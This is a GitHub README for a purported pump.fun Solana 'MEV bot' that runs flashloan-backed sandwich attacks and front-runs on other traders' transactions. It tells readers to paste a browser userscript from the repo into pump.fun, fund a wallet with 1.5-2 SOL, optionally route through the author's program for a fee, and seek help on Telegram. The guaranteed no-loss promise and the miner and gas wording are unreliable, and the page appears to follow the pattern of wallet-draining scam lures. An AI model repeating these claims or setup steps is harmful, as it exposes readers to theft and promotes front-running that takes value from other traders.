Skip to content

Browser based pump.fun mevbot with web interface. Scans the pump.fun SPL for profitable transactions

Notifications You must be signed in to change notification settings

orcacr-solana/solana-mevbot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

Solana-Mevbot

fully-automatic on-chain pump.fun solana MEVbot leveraging flashloans and the minimal gas fees of Solana to perform sandwich attacks and front-runs on https://pump.fun.

Important

Due to the atomic nature of Flashloan operations, if they aren't profitable the transaction will revert and no net profit will be lost.

Components

-- onchain solana program

-- website dashboard

Operation

graph LR
A[MEVBOT] --Identify TX -->C(Mev Buy)--> E(Target Buy)
E --> F(Mev Sell)
F -->J(no arb)
J--tx reverted -->A
F --> H(arbitrage) --profit --> A
Loading
  • The bot is constantly sniffing the https://pump.fun Solana master SPL for user buys, sells, and token creations containing slippage deficits.

Tip

Bot operators can target any transaction value within their balance threshold. Generally, higher thresholds net consistently viable transactions

  • Once a transaction is identified, a flashloan is initiated for the target transaction amount, this requires a marginal amount of collateral.
  • The bot will aggresively attempt to front-run the transaction by dynamically monitoring the bribe to the miner and increasing it if necessary so as to be the first transaction mined.
  • Depending on the set parameters, the bot will either front-run the Dev's sell to remain in profit, or sell upon the token reaching KOTH.
  • The flashloan is then repaid, collateral is reiumbursed and profits are deposited into the operators wallet.
  • If the transaction is unprofitable at any point it will be reverted and the flashloan will be repaid, losing no gas or net profit.

Setup

  1. Download or clone the main branch of this repository

  2. Install Tampermonkey, this is how we are going to run the dashboard on pump.fun

c

  1. Deploy the program on Solana using the CLI and paste your MEVbot SPL address into the program_address variable.

Important

skip this step if you want your dashboard to connect to my public MEV program for a .1% trading fee!

  1. Visit https://pump.fun

  2. Open the Tampermonkey extension

b

  1. Click + create new script

yy

  1. Delete the default contents, and copy + paste the full code from: dashboard/pf_dashboard.js

  2. Save the file. The dashboard has now been installed.

  3. Visit https://pump.fun and refresh the page. The dashboard should now be visible

  4. Fund your operator's wallet. Recommended amount is 1.5 - 2 SOL for proper token acquisition and smooth operation.

  5. Click "START"

  6. Manage your positions with the position manager, or wait for parameters to trigger.

hj

  1. Click STOP to stop the bot and close all positions at any time

Important

The bot will immediately begin searching for and transacting arbitrage on https://pump.fun

Tip

Stop the bot any time by clicking the "STOP" button. any current transactions will be sold or reverted.

Tips

  • If the dashboard is enabled but not appearing; some chrome-based browsers must have developer mode enabled to support the TamperMonkey extension, you can find the toggle in the top right of the extensions page.

  • Increase the flashloan limit by .5 - 1 SOL if you wish to target more than one or two coins at a time.

Contributions

Code contributions are welcome. If you would like to contribute please submit a pull request with your suggested changes.

Support

If you benefitted from the project, show us some support by giving us a star ⭐. Help us pave the way for open-source!

Help

If at any time you encounter any issues with the contract or dashboard setup, contact the team at https://t.me/solana_mevbot 🛡️

About

Browser based pump.fun mevbot with web interface. Scans the pump.fun SPL for profitable transactions

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages